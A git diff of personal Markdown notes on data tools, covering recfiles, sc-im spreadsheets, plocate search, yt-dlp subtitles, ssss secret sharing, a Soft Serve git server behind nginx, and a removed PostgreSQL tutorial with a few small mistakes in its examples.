tags: [ "data", "database", "recfiles", "tex" ]
|
||||
requires: [ "Recfiles", "TeX", "Makefile" ]
|
||||
---
|
||||
|
||||
Store your bibliography in a `recfile` database, then extract any part with `make`.
|
||||
|
||||
For example, you could store books like this in `bibliography.rec`:
|
||||
|
||||
```recfile
|
||||
%rec: book
|
||||
%key: slug
|
||||
|
||||
slug: thinkingexperience
|
||||
author: H. H. Price
|
||||
title: Thinking and Experience
|
||||
year: 1953
|
||||
publisher: Harvard University Press, Cambridge
|
||||
|
||||
slug: inventingrightwrong
|
||||
author: John Leslie Mackie
|
||||
title: Inventing Right and Wrong
|
||||
year: 1997
|
||||
publisher: Penguin Books, England
|
||||
|
||||
```
|
||||
|
||||
Run `make book` to extract `book.bib`, ready for LaTeX to use:
|
||||
|
||||
```bib
|
||||
@book{thinkingexperience,
|
||||
author = {H. H. Price},
|
||||
title = {Thinking and Experience},
|
||||
year = {1953},
|
||||
publisher = {Harvard University Press, Cambridge},
|
||||
}
|
||||
|
||||
@book{inventingrightwrong,
|
||||
author = {John Leslie Mackie},
|
||||
title = {Inventing Right and Wrong},
|
||||
year = {1997},
|
||||
publisher = {Penguin Books, England},
|
||||
}
|
||||
```
|
||||
|
||||
The `makefile` syntax is just a few lines (though admittedly employs some garbled shell-crud):
|
||||
|
||||
```make
|
||||
bibs != grep -Po '%rec: \K.*' bibliography.rec
|
||||
bibfiles = $(patsubst %, %.bib, $(bibs))
|
||||
|
||||
$(bibfiles): %.bib: bibliography.rec
|
||||
recsel $< -t $(basename $@) |\
|
||||
sed 's/slug: \(.*\)/@$(basename $@){\1,/g' |\
|
||||
sed 's/^\(\b.*\b\): \(.*\)/ \1 = {\2},/gI' |\
|
||||
sed 's/^$$/}\n/g' > $@
|
||||
echo '}' >> $@
|
||||
```
|
||||
|
||||
Here's a longer `bibliography.rec` file, which can also produce `article.bib`:
|
||||
|
||||
```recfile
|
||||
%rec: book
|
||||
%key: slug
|
||||
%type: year int
|
||||
%constraint: year > -2000
|
||||
%sort: year month
|
||||
|
||||
slug: thinkingexperience
|
||||
author: H. H. Price
|
||||
title: Thinking and Experience
|
||||
year: 1953
|
||||
publisher: Harvard University Press, Cambridge
|
||||
|
||||
slug: inventingrightwrong
|
||||
author: John Leslie Mackie
|
||||
title: Inventing Right and Wrong
|
||||
year: 1997
|
||||
publisher: Penguin Books, England
|
||||
|
||||
slug: metaphysicscontemporaryintro
|
||||
author: Michael J. Loux
|
||||
title: Metaphysics: A Contemporary Introduction
|
||||
year: 1998
|
||||
publisher: Routledge, London
|
||||
|
||||
slug: pluralityworlds
|
||||
author: David Lewis
|
||||
title: On the Plurality of Worlds
|
||||
publisher: Blackwell Publishing, Oxford
|
||||
year: 2001
|
||||
|
||||
%rec: article
|
||||
%key: slug
|
||||
%sort: year month
|
||||
|
||||
slug: genuinerealisttheory
|
||||
author: John Divers
|
||||
title: A Genuine Realist Theory of Advanced Modalizing
|
||||
year: 1999
|
||||
pages: 217–240
|
||||
month: april
|
||||
journaltitle: Mind
|
||||
uri: https://academic.oup.com/mind/article-abstract/108/430/217/975258?redirectedFrom=fulltext
|
||||
volume: 108
|
||||
publisher: Harvard University Press, Cambridge
|
||||
|
||||
slug: twokindsmentalrealism
|
||||
author: Tam\'{a}s Demeter
|
||||
title: Two Kinds of Mental Realism
|
||||
year: 2009
|
||||
pages: 40:59-71
|
||||
uri: https://www.researchgate.net/profile/Tamas_Demeter2/publication/41554923_Two_Kinds_of_Mental_Realism/links/0deec53247f5a4ae21000000.pdf
|
||||
month: august
|
||||
journaltitle: Journal for General Philosophy of Science
|
||||
volume: 30
|
||||
publisher: Harvard University Press, Cambridge
|
||||
|
||||
```
|
||||
|
62
data/recfiles/board_games.md
Normal file
62
data/recfiles/board_games.md
Normal file
@@ -0,0 +1,62 @@
|
||||
---
|
||||
title: "Board Games with Recfiles"
|
||||
tags: [ "data", "recfiles", "games" ]
|
||||
requires: "Recfiles"
|
||||
---
|
||||
|
||||
You can play with a board games database from boardgamegeek.com.
|
||||
|
||||
## Download the Database
|
||||
|
||||
```sh
|
||||
mkdir board_games
|
||||
cd board_games
|
||||
curl -Lo bg.zip 'https://www.kaggle.com/api/v1/datasets/download/threnjen/board-games-database-from-boardgamegeek'
|
||||
unzip bg.zip
|
||||
```
|
||||
|
||||
The header line shows fields with a bunch of colons, which will confused `recutils`, so we'll have to get rid of them.
|
||||
|
||||
```sh
|
||||
sed -i '1s/://g' *.csv
|
||||
```
|
||||
|
||||
Convert the games to `.rec` format.
|
||||
|
||||
```sh
|
||||
csv2rec games.csv > games.rec
|
||||
```
|
||||
|
||||
## Queries
|
||||
|
||||
If you try to look at older games, you'll find lots of results.
|
||||
|
||||
```sh
|
||||
recsel games.rec -e "YearPublished < 1800" -c
|
||||
recsel games.rec -e "YearPublished < 1800" -Cp Name
|
||||
```
|
||||
But most are wrong.
|
||||
The problem is games with a `YearPublished` date of `0`, probably because the year published is unknown.
|
||||
|
||||
```sh
|
||||
recsel games.rec -e "Name = 'The Goblin King is Angry'" -p YearPublished
|
||||
```
|
||||
|
||||
Fix the query by removing games published in '0 AD'.
|
||||
|
||||
```sh
|
||||
recsel games.rec -e "YearPublished < 1800 && YearPublished != 0" -R YearPublished,Name
|
||||
```
|
||||
|
||||
Or fix the database setting `YearPublished` to 'unknown':
|
||||
|
||||
```sh
|
||||
recsel games.rec -e "YearPublished = 0" -Cp Name
|
||||
recset games.rec -e "YearPublished = 0" -f "YearPublished" -S 'unknown'
|
||||
```
|
||||
|
||||
Strategic games which work best with 3 players, sorted by Average Rating:
|
||||
|
||||
```sh
|
||||
recsel games.rec -e "BestPlayers = 3 && CatStrategy = 1" -CR Name --sort=AvgRating
|
||||
```
|
118
data/recfiles/extended.md
Normal file
118
data/recfiles/extended.md
Normal file
@@ -0,0 +1,118 @@
|
||||
---
|
||||
title: "Recfiles Extended Example"
|
||||
tags: [ "data", "database", "recfiles" ]
|
||||
---
|
||||
|
||||
## Create
|
||||
|
||||
Make a database for your boardgames, specifying only one field and value:
|
||||
|
||||
```bash
|
||||
database=games.rec
|
||||
n=Name
|
||||
g=Vojvodina
|
||||
touch $database
|
||||
recins -f $n --value $g $database
|
||||
recsel $database
|
||||
```
|
||||
|
||||
Insert a few more, with the estimated playtime:
|
||||
|
||||
```bash
|
||||
recins -f Name -v Saboter -f Playtime -v 30 $database
|
||||
recins -f Name -v Chess -f Playtime -v 30 $database
|
||||
```
|
||||
|
||||
View all games, or select one by number:
|
||||
|
||||
```bash
|
||||
recsel $database
|
||||
recsel -n 0 $database
|
||||
```
|
||||
|
||||
Each game should note whether or not you have played it yet, so you can add that field and set the default to `yes`.
|
||||
|
||||
```bash
|
||||
f=played
|
||||
v=yes
|
||||
recset -f $f -a $v $database
|
||||
```
|
||||
|
||||
...but the field is wrong, it should have a capital letter:
|
||||
|
||||
```bash
|
||||
new_field=Played
|
||||
recset -f $f --rename $new_field
|
||||
```
|
||||
|
||||
## Read
|
||||
|
||||
Check how many records the database has:
|
||||
|
||||
```bash
|
||||
recinf $database
|
||||
```
|
||||
|
||||
Look at just the games you've never played:
|
||||
|
||||
```bash
|
||||
recsel --expression="Played = 'no'" $database
|
||||
```
|
||||
|
||||
Print how many, then just print the names:
|
||||
|
||||
```bash
|
||||
recsel -e "Played = 'no'" --count $database
|
||||
recsel -e "Played = 'no'" --print=Name $database
|
||||
```
|
||||
|
||||
## Update
|
||||
|
||||
To change a game's `Played` field from `no` to `yes`, use `recset` to specify the number, and change that field.
|
||||
|
||||
```bash
|
||||
num=0
|
||||
f=Played
|
||||
value=yes
|
||||
recsel --number=$num $database
|
||||
recset --number=$num -f $f --set=$value $database
|
||||
```
|
||||
|
||||
Find all games with a playtime of `30`, and set the field `Max_Players` to `4`.
|
||||
|
||||
```bash
|
||||
recset -e "Playtime = 40" -f Max_Players --set 50 games.rec
|
||||
```
|
||||
|
||||
This doesn't work, because that field does not exist.
|
||||
You can `--set-add` the field, to add it wherever it does not exist.
|
||||
|
||||
```bash
|
||||
recset -e "Playtime = 40" -f Max_Players --set-add 50 games.rec
|
||||
```
|
||||
|
||||
## Delete
|
||||
|
||||
Remove `Played` record from first game:
|
||||
|
||||
```bash
|
||||
num=0
|
||||
recset --number=$num -f Played --delete $database
|
||||
```
|
||||
|
||||
You can comment the line instead of deleting it:
|
||||
|
||||
```bash
|
||||
num=1
|
||||
recset --number=$num -f Played --delete $database
|
||||
recsel $database
|
||||
cat $database
|
||||
```
|
||||
|
||||
Delete an entire record:
|
||||
|
||||
```bash
|
||||
num=2
|
||||
recdel --number=$num $database
|
||||
```
|
||||
|
16
data/recfiles/ip_asn.md
Normal file
16
data/recfiles/ip_asn.md
Normal file
@@ -0,0 +1,16 @@
|
||||
---
|
||||
title: "IP Addresses with Recfiles"
|
||||
tags: [ "data", "recfiles", "games" ]
|
||||
requires: "Recfiles"
|
||||
---
|
||||
|
||||
## Download the Database
|
||||
|
||||
Download the csv data, and separate the ipv4 data from the ipv6.
|
||||
|
||||
```sh
|
||||
curl -Lo ips.zip 'https://www.kaggle.com/api/v1/datasets/download/ipinfo/ipinfo-country-asn'
|
||||
unzip -p ips.zip country_asn.csv | csv2rec | recsel -e "start_ip ~ '\.'" > ipv4.rec
|
||||
unzip -p ips.zip country_asn.csv | csv2rec | recsel -e "start_ip ~ '::'" > ipv6.rec
|
||||
```
|
||||
|
33
data/recfiles/recfixes.md
Normal file
33
data/recfiles/recfixes.md
Normal file
@@ -0,0 +1,33 @@
|
||||
---
|
||||
title: "Recfixes"
|
||||
tags: [ "data", "recfiles" ]
|
||||
requires: "Recfiles"
|
||||
---
|
||||
|
||||
Sometimes `recsel` chokes on a large query, and you need to break the query into chunks with a pipe.
|
||||
|
||||
This Kickstarter file has 374,853 records.
|
||||
Here's the chonky query:
|
||||
|
||||
```sh
|
||||
recsel kick.rec -e "Category = 'Games'" -p "Subcategory,Avg(Goal)" -G Subcategory
|
||||
```
|
||||
|
||||
It breaks down like this:
|
||||
|
||||
| Chunk | Meaning |
|
||||
|:-----------------------------:|:---------------------------------------------:|
|
||||
| `recsel kick.rec` | Select records from `kick.rec` |
|
||||
| `-e "Category = 'Games'"` | Select only records where Category = 'Games' |
|
||||
| `-p "Subcategory,Avg(Goal)"` | Print the Subcategory and average goal |
|
||||
| `-G "Subcategory"` | Group by subcategory |
|
||||
|
||||
Two ways to break the query apart:
|
||||
|
||||
```sh
|
||||
recsel kick.rec -e "Category = 'Games'" | recsel -p "Subcategory,Avg(Goal)" -G "Subcategory"
|
||||
|
||||
recsel kick.rec -e "Category = 'Games'" > games.rec
|
||||
recsel games.rec -p "Subcategory" -G "Subcategory"
|
||||
```
|
||||
|
@@ -1,33 +1,48 @@
|
||||
---
|
||||
title: "sc-im"
|
||||
tags: [ "Documentation", "data" ]
|
||||
tags: [ "TUI", "data", "spreadsheet", ".csv" ]
|
||||
requires: [ "vim basics" ]
|
||||
---
|
||||
|
||||
- [Sample file](sc-im/sample.sc)
|
||||
|
||||
# Basic Commands
|
||||
|
||||
> H = highest part
|
||||
> L = lowest part
|
||||
> gg = top
|
||||
## See Cells
|
||||
|
||||
> g$ = most right.
|
||||
> g0 = most left.
|
||||
Cells are hard to see.
|
||||
Change this with `:set autowrap`.
|
||||
|
||||
> \ = insert middle
|
||||
> \> = insert left
|
||||
> < = insert right
|
||||
Make `sc-im` always autowrap:
|
||||
|
||||
gb4 = to to cell b4
|
||||
```bash
|
||||
mkdir .config/sc-im/bash
|
||||
echo 'set autowrap' >> .config/sc-im/scimrc
|
||||
```
|
||||
|
||||
> aa = see all text in cells
|
||||
> f = format cells so you can see it.
|
||||
> fl = format wider right
|
||||
> fh = format smaller left
|
||||
## Movement
|
||||
|
||||
> fj = format wider down
|
||||
> fk = format smaller down
|
||||
| Command | Key |
|
||||
|:------------------------------------|:---:|
|
||||
| highest part | H |
|
||||
| lowest part | L |
|
||||
| top | gg |
|
||||
| most right. | g$ |
|
||||
| most left. | g0 |
|
||||
| insert middle | \ |
|
||||
| insert left | \> |
|
||||
| insert right | < |
|
||||
| to to cell b4 | gb4 |
|
||||
| see all text in cells | aa |
|
||||
| format cells so you can see it. | f |
|
||||
| format wider right | fl |
|
||||
| format smaller left | fh |
|
||||
| format wider down | fj |
|
||||
| format smaller down | fk |
|
||||
|
||||
# Edit
|
||||
## Edit
|
||||
|
||||
## Text
|
||||
### Text
|
||||
|
||||
| Action | Key |
|
||||
|:----------------------|:---:|
|
||||
@@ -35,7 +50,7 @@ gb4 = to to cell b4
|
||||
| text (right align) | > |
|
||||
| Edit existing text | E |
|
||||
|
||||
## Meta Actions
|
||||
### Meta Actions
|
||||
|
||||
| Action | Key |
|
||||
|:----------------------|:---:|
|
||||
@@ -48,7 +63,7 @@ gb4 = to to cell b4
|
||||
| delete a cell | x |
|
||||
|
||||
|
||||
## Functions
|
||||
### Functions
|
||||
|
||||
| Action | Key |
|
||||
|:--------------------------------|:------------:|
|
||||
@@ -58,7 +73,7 @@ gb4 = to to cell b4
|
||||
| minimumof those numbers | =@min(B1:B8) |
|
||||
| multiply C1 to C8 | =@prod(C1:C8)|
|
||||
|
||||
## Visual
|
||||
### Visual
|
||||
|
||||
| Action | Key |
|
||||
|:--------------------------------|:------------:|
|
||||
|
13
data/sc-im/convert_spreadsheets.md
Normal file
13
data/sc-im/convert_spreadsheets.md
Normal file
@@ -0,0 +1,13 @@
|
||||
---
|
||||
title: "Convert Spreadsheets"
|
||||
tags: [ "data", "sc-im" ]
|
||||
---
|
||||
|
||||
Convert between spreadsheet formats with `sc-im`.
|
||||
|
||||
```sh
|
||||
sc-im --quiet --quit_afterload --nocurses --export_csv ${file}.xlsx
|
||||
sc-im --quiet --quit_afterload --nocurses --export_tab ${file}.sc
|
||||
sc-im --quiet --quit_afterload --nocurses --export_mkd ${file}.csv
|
||||
sc-im --quiet --quit_afterload --nocurses --export_txt ${file}.tsv
|
||||
```
|
38
data/sc-im/sample.sc
Normal file
38
data/sc-im/sample.sc
Normal file
@@ -0,0 +1,38 @@
|
||||
# This data file was generated by the Spreadsheet Calculator Improvised (sc-im)
|
||||
# You almost certainly shouldn't edit it.
|
||||
|
||||
newsheet "Sheet1"
|
||||
movetosheet "Sheet1"
|
||||
offscr_sc_cols 0
|
||||
offscr_sc_rows 0
|
||||
nb_frozen_rows 1
|
||||
nb_frozen_cols 0
|
||||
nb_frozen_screenrows 2
|
||||
nb_frozen_screencols 0
|
||||
format A 14 1 0
|
||||
format B 18 2 0
|
||||
format 0 2
|
||||
freeze 0
|
||||
label A0 = "Food by Weight"
|
||||
leftstring B0 = "No. Meals"
|
||||
leftstring A1 = "Ajvar"
|
||||
let A1 = 5
|
||||
let B1 = A1*$A$10
|
||||
leftstring A2 = "Apples"
|
||||
let A2 = 3
|
||||
let B2 = A2*$A$10
|
||||
leftstring A3 = "Rocket"
|
||||
let A3 = 0.2
|
||||
let B3 = A3*$A$10
|
||||
leftstring A4 = "Beli Cheese"
|
||||
let A4 = 1
|
||||
let B4 = A4*$A$10
|
||||
leftstring A6 = "Total"
|
||||
let A6 = @sum(A1:A4)
|
||||
leftstring B6 = "Total"
|
||||
let B6 = @sum(B1:B4)
|
||||
leftstring A7 = "Average"
|
||||
let A7 = @avg(A1:A4)
|
||||
leftstring A10 = "Weight of Meal"
|
||||
let A10 = 0.3
|
||||
goto A0
|
49
data/search_system.md
Normal file
49
data/search_system.md
Normal file
@@ -0,0 +1,49 @@
|
||||
---
|
||||
title: "Search System"
|
||||
tags: [ "data", "search", "locate", "plocate" ]
|
||||
requires: "cron"
|
||||
---
|
||||
|
||||
You can search every file on the computer instantly by installing `plocate`.
|
||||
|
||||
Once installed, run `sudo updatedb` to create the database of (nearly) every file on the computer.
|
||||
|
||||
Check how big the database is:
|
||||
|
||||
```sh
|
||||
du -h /var/lib/plocate/plocate.db
|
||||
```
|
||||
|
||||
Once you have the database, you can find nearly any file instantly.
|
||||
|
||||
- Search for gifs: `locate .gif`
|
||||
- Search for gifs in the `/usr/` directory: `locate /usr/ .gif`
|
||||
- Search for jpg images with 'dog' or 'Dog' in the name: `locate -i dog jpg`
|
||||
- Search for videos: `plocate --regex '.mp4$|.mkv$|.wmv$|.webm$|.mov$|.avi$'`
|
||||
|
||||
For best results, run `updatedb` regularly, perhaps in [crontab](../system/cron.md).
|
||||
|
||||
## Search More Places
|
||||
|
||||
`plocate` will not search `/tmp/`, because nobody cares about those files, and won't search inside `/mnt/`, because that's where USB sticks get mounted, so the files keep changing as USB sticks come and go.
|
||||
|
||||
Change where `plocate` searches by editing the configuration file at `/etc/updatedb.conf`.
|
||||
|
||||
By default, the `/mnt` directory is 'pruned' from the database.
|
||||
So if you want to search `/mnt` for videos, remove the word `/mnt` from the configuration file.
|
||||
|
||||
|
||||
```bash
|
||||
su root
|
||||
cat /etc/updatedb.conf
|
||||
sed -i 's#/mnt/##' /etc/updatedb.conf
|
||||
updatedb
|
||||
exit
|
||||
```
|
||||
|
||||
Now you can search in `/mnt` for films:
|
||||
|
||||
```sh
|
||||
plocate --regex '.mp4$|.mkv$|.wmv$|.webm$|.mov$|.avi$'
|
||||
```
|
||||
|
33
data/search_video_audio.md
Normal file
33
data/search_video_audio.md
Normal file
@@ -0,0 +1,33 @@
|
||||
---
|
||||
title: "Search Video Audio"
|
||||
tags: [ "data", "video" ]
|
||||
---
|
||||
|
||||
Check subtitles available:
|
||||
|
||||
```sh
|
||||
url='https://videos.domainepublic.net/videos/watch/d9567d5b-1add-477c-bce3-a58cef84c28c'
|
||||
yt-dlp --list-subs "$url" | grep --max-count=1 '^en'
|
||||
```
|
||||
|
||||
The original language often displays with `-orig`, e.g. `en-orig (Original)`.
|
||||
|
||||
```
|
||||
Language Formats
|
||||
ar vtt
|
||||
az vtt
|
||||
bg vtt
|
||||
ca vtt
|
||||
cs vtt
|
||||
da vtt
|
||||
de vtt
|
||||
el vtt
|
||||
en vtt
|
||||
```
|
||||
|
||||
Search youtube.com for videos on a topic, and download subtitles:
|
||||
|
||||
```sh
|
||||
url="$(ytfzf -I l "$search" )" && \
|
||||
yt-dlp --write-subs --sub-format 'ass/srt/best/vtt' --sub-langs "en.*" --skip-download "$url"
|
||||
```
|
23
data/sharing_secrets.md
Normal file
23
data/sharing_secrets.md
Normal file
@@ -0,0 +1,23 @@
|
||||
---
|
||||
title: "Sharing Secrets"
|
||||
tags: [ "data", "death", "secrets", "ssss" ]
|
||||
---
|
||||
|
||||
You can share parts of a secret with multiple people, so only some of them need to agree to see the secret.
|
||||
|
||||
Install `ssss`, then decide on the total number of secrets (`N`), and the threshold of people who must share their shard of the secret in order to reveal the secret.
|
||||
|
||||
```bash
|
||||
N=5
|
||||
T=3
|
||||
FILE=secret.txt
|
||||
fortune | ssss-split -t $T -n $N > $FILE
|
||||
```
|
||||
Each shard is a line inside secret.txt.
|
||||
|
||||
Check it's working:
|
||||
|
||||
```bash
|
||||
head -n $T $FILE | ssss-combine -t $T
|
||||
tail -n $T $FILE | ssss-combine -t $T
|
||||
```
|
24
data/soft-serve/maintenance.md
Normal file
24
data/soft-serve/maintenance.md
Normal file
@@ -0,0 +1,24 @@
|
||||
---
|
||||
title: "Soft Serve Maintenance"
|
||||
tags: [ "data", "git server", "maintenance" ]
|
||||
requires: [ "git", "nginx" ]
|
||||
---
|
||||
|
||||
Over time git repositories become bloated with old data, but never get cleaned.
|
||||
I can't find an official way to clean up the crud, so I did this:
|
||||
|
||||
```sh
|
||||
usermod -aG soft-serve $USER
|
||||
# Log out and back in for this to take effect.
|
||||
|
||||
cd /var/lib/soft-serve/data/repos
|
||||
sudo chmod -R g+w *
|
||||
git config --global --add safe.directory '*'
|
||||
du -sh *.git
|
||||
for repo in *.git; do
|
||||
git -C "$repo" gc
|
||||
done
|
||||
du -sh *.git
|
||||
$EDITOR ~/.gitconfig
|
||||
# You should remove having everything marked 'safe'.
|
||||
```
|
71
data/soft-serve/soft_https.md
Normal file
71
data/soft-serve/soft_https.md
Normal file
@@ -0,0 +1,71 @@
|
||||
---
|
||||
title: "Soft Serve through https"
|
||||
tags: [ "data", "git server", "lfs" ]
|
||||
requires: [ "git", "nginx" ]
|
||||
---
|
||||
|
||||
## `http` Setup
|
||||
|
||||
In this example, the port used is `23231`, but it can be anything.
|
||||
Open `/var/lib/soft-serve/data/config.yaml` and make sure the `http` section looks like this:
|
||||
|
||||
```
|
||||
# The HTTP server configuration.
|
||||
http:
|
||||
# The address on which the HTTP server will listen.
|
||||
listen_addr: ":23232"
|
||||
|
||||
# The path to the TLS private key.
|
||||
tls_key_path: ""
|
||||
|
||||
# The path to the TLS certificate.
|
||||
tls_cert_path: ""
|
||||
|
||||
# The public URL of the HTTP server.
|
||||
# This is the address that will be used to clone repositories.
|
||||
# Make sure to use https:// if you are using TLS.
|
||||
public_url: "http://localhost:23232"
|
||||
|
||||
```
|
||||
|
||||
Restart the `soft-serve` service, then check it's working by cloning from localhost:
|
||||
|
||||
```bash
|
||||
git clone http://localhost:23232/${some_repo}.git
|
||||
```
|
||||
|
||||
### `https` Setup
|
||||
|
||||
Put this file at `/etc/nginx/sites-enabled/$DOMAIN.tld`, then set up standard certificates with [nginx](../networking/website/nginx.md).
|
||||
|
||||
(replace `${DOMAIN_NAME}` with your domain's name).
|
||||
|
||||
```
|
||||
server {
|
||||
listen 80;
|
||||
server_name ${DOMAIN_NAME};
|
||||
|
||||
location / {
|
||||
proxy_pass http://localhost:23232;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
}
|
||||
|
||||
return 301 https://$server_name$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
server_name ${DOMAIN_NAME};
|
||||
|
||||
location / {
|
||||
proxy_pass http://localhost:23232;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
8
data/soft.md
Normal file
8
data/soft.md
Normal file
@@ -0,0 +1,8 @@
|
||||
---
|
||||
title: "Soft-Serve"
|
||||
tags: [ "data", "git server", "lfs", "TUI" ]
|
||||
requires: [ "git", "nginx" ]
|
||||
---
|
||||
|
||||
- [Soft-Serve with https](soft-serve/soft_https.md)
|
||||
- [Maintenance](soft-serve/maintenance.md)
|
1009
data/sql/person.sql
1009
data/sql/person.sql
File diff suppressed because it is too large
Load Diff
@@ -1,364 +0,0 @@
|
||||
---
|
||||
title: "postgresql"
|
||||
tags: [ "Documentation", "data" ]
|
||||
---
|
||||
# Setup
|
||||
|
||||
Install postgres and start it as a service, then start with:
|
||||
|
||||
> psql
|
||||
|
||||
## Arch setup
|
||||
|
||||
> su -l postgres
|
||||
|
||||
> initdb -D /var/lib/postgres/data
|
||||
|
||||
## Make a database as the new user postgres
|
||||
|
||||
> sudo su postgres
|
||||
|
||||
> [postgres] echo $HOME
|
||||
|
||||
> [postgres]
|
||||
|
||||
> [postgres] CREATE DATABASE dvdrental;
|
||||
|
||||
## Sample Data
|
||||
|
||||
Get sample data.
|
||||
|
||||
> wget http://www.postgresqltutorial.com/wp-content/uploads/2019/05/dvdrental.zip
|
||||
|
||||
And then get the pdf mapping the sample data:
|
||||
|
||||
> wget http://www.postgresqltutorial.com/wp-content/uploads/2018/03/printable-postgresql-sample-database-diagram.pdf
|
||||
|
||||
Unzip and load sample data:
|
||||
|
||||
> unzip dvdrental.zip
|
||||
|
||||
> sudo su postgres
|
||||
|
||||
|
||||
> [postgres] $ pg_restore -U postgres -d dvdrental dvdrental.tar
|
||||
|
||||
|
||||
> [postgres]
|
||||
|
||||
# Commands
|
||||
|
||||
## Basics
|
||||
|
||||
List available databases.
|
||||
|
||||
> \l
|
||||
|
||||
You'll see a list of available databases like:
|
||||
|
||||
`dnd`
|
||||
|
||||
`dvdrentals`
|
||||
|
||||
Then you can connect to one:
|
||||
|
||||
> \c dvdrental
|
||||
|
||||
And have a look at what tables it has:
|
||||
|
||||
> \d dvdrental
|
||||
|
||||
If it has tables such as `language`, `film_actor` and `inventory`, you can see the table's settings with:
|
||||
|
||||
> \dt film_actor
|
||||
|
||||
And pull back the entire table:
|
||||
|
||||
> SELECT * from film_actor;
|
||||
|
||||
## Various
|
||||
|
||||
Connect to 231.13.48.38 with user 'bob', port 1234, database 'X'
|
||||
|
||||
> psql -h 231.13.48.38 -p1234 -U bob X
|
||||
|
||||
# Setup Yourself
|
||||
|
||||
Make database "test" and connect to it.
|
||||
|
||||
> CREATE DATABASE test;
|
||||
|
||||
> \l test
|
||||
|
||||
Delete database 'dogs':
|
||||
|
||||
> DROP DATABASE dogs;
|
||||
|
||||
Making a table has a basic form of:
|
||||
|
||||
`CREATE TABLE table_name (`
|
||||
|
||||
then [ column name ] + [data type ] ... (and possibly data constraints)
|
||||
|
||||
`)`
|
||||
|
||||
|Data Types | Meaning | Constraints |
|
||||
|:----|:----|:----|
|
||||
| BIGSERIAL | A number incrementing by one each entry | 'NOT NULL PRIMARY KEY (so it's used for relational reference) |
|
||||
| int | integer | (50) limits the table to 50, e.g. `int(50)`|
|
||||
| VARCHAR | any characters | limit, e.g.`VARCHAR(70)`|
|
||||
| TIMESTAMP | time | |
|
||||
| date | date | |
|
||||
| text | text? | |
|
||||
| tsquery | text search query | |
|
||||
| money | money | |
|
||||
| json | textual JSON data | |
|
||||
| cidr | ipv4 or 6 address | |
|
||||
| macaddr | mac address | |
|
||||
|
||||
|
||||
E.g.
|
||||
|
||||
```
|
||||
CREATE TABLE character (
|
||||
id int,
|
||||
str int(1),
|
||||
dex int(1),
|
||||
spd int(1),
|
||||
int int(1),
|
||||
wts int(1),
|
||||
cha int(1));
|
||||
|
||||
```
|
||||
|
||||
See your table:
|
||||
|
||||
> \d
|
||||
|
||||
Look at what columns you have there:
|
||||
|
||||
> \d character
|
||||
|
||||
But this allows for empty characters, so...
|
||||
|
||||
```
|
||||
|
||||
CREATE TABLE person (
|
||||
id BIGSERIAL NOT NULL PRIMARY KEY,
|
||||
first_name VARCHAR(50) NOT NULL,
|
||||
last_name VARCHAR(50) NOT NULL,
|
||||
last_name VARCHAR(50) NOT NULL,
|
||||
gender VARCHAR(7) NOT NULL,
|
||||
date_of_birth DATE NOT NULL,
|
||||
);
|
||||
|
||||
```
|
||||
|
||||
Delete with
|
||||
|
||||
> DROP TABLE person;
|
||||
|
||||
## Inserting Data
|
||||
|
||||
```
|
||||
|
||||
INSERT INTO person (
|
||||
first_name,
|
||||
last_name,
|
||||
gender,
|
||||
date_of_birth)
|
||||
VALUES ('Hugi','Smith','DWARF', date '200-01-12');
|
||||
|
||||
```
|
||||
|
||||
## Selecting Data
|
||||
You can also mass select by choosing to insert a file. Download example data [here](https://mockaroo.com/).
|
||||
|
||||
> \i /home/ghost/file.sql
|
||||
|
||||
Various querries:
|
||||
|
||||
> SELECT * FROM person;
|
||||
|
||||
> SELECT * FROM person ORDER BY id DESC;
|
||||
|
||||
> SELECT * FROM person
|
||||
|
||||
## Offset, Fetch and Limit
|
||||
|
||||
'Limit' is not official, but was accepted later:
|
||||
|
||||
> SELECT * FROM person ORDER BY country ASC LIMIT 10;
|
||||
|
||||
The official way to make a limit is 'FIRST 5 ROWS ONLY:
|
||||
|
||||
> SELECT * FROM person OFFSET 5 FETCH FIRST 5 ROWS ONLY;
|
||||
|
||||
> SELECT * FROM person where gender = 'Male' AND ( country_of_birth = 'Poland' OR country_of_birth = 'China');
|
||||
|
||||
Miss out the first 5 result with 'OFFSET 5'.
|
||||
|
||||
> SELECT p\* FROM PERSON WHERE gender = 'Female' AND country_of_birth = 'Kosovo' OFFSET 5;
|
||||
|
||||
> SELECT * FROM person OFFSET 5 FETCH FIRST 7 ROW ONLY;
|
||||
|
||||
## Advanced Selection
|
||||
|
||||
This query takes a lot of typing:
|
||||
|
||||
> SELECT * FROM person WHERE country_of_birth = 'China'
|
||||
> OR country_of_birth = 'Kosovo'
|
||||
> OR country_of_birth = 'Brazil';
|
||||
|
||||
You can write the same thing with less typing:
|
||||
|
||||
> SELECT *
|
||||
> FROM person
|
||||
> WHERE country_of_birth in ('China','Kosovo','Brazil');
|
||||
|
||||
> SELECT * FROM person
|
||||
> WHERE date_of_birth
|
||||
BETWEEN DATE '2018-04-10' AND '2019-01-01'
|
||||
> ORDER BY date_of_birth;
|
||||
|
||||
### Rough Search
|
||||
|
||||
Similar words - we can find emails ending in '.com'.
|
||||
|
||||
> SELECT * FROM person
|
||||
> WHERE email LIKE '%.com';
|
||||
|
||||
Or any gmail address:
|
||||
|
||||
> SELECT * FROM person
|
||||
> WHERE email LIKE '%@gmail.%';
|
||||
|
||||
Or particular characters, where three precede 'gmail.com' and it's case insensitive:
|
||||
|
||||
> SELECT * FROM person
|
||||
> WHERE email iLIKE '\_\_\_@gmail.com';
|
||||
|
||||
### Groups and Aggregates
|
||||
|
||||
Select all countries as a complete mess:
|
||||
|
||||
> SELECT country_of_birth FROM person;
|
||||
|
||||
Select countries with proper grouping:
|
||||
|
||||
> SELECT country_of_birth FROM person GROUP BY country_of_birth;
|
||||
|
||||
Select countries and count instances:
|
||||
|
||||
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth ORDER BY country_of_birth;
|
||||
|
||||
Also select a minimum number with 'having'. What you have must be before 'order by'.
|
||||
|
||||
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) > 5;
|
||||
|
||||
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) >= 10;
|
||||
|
||||
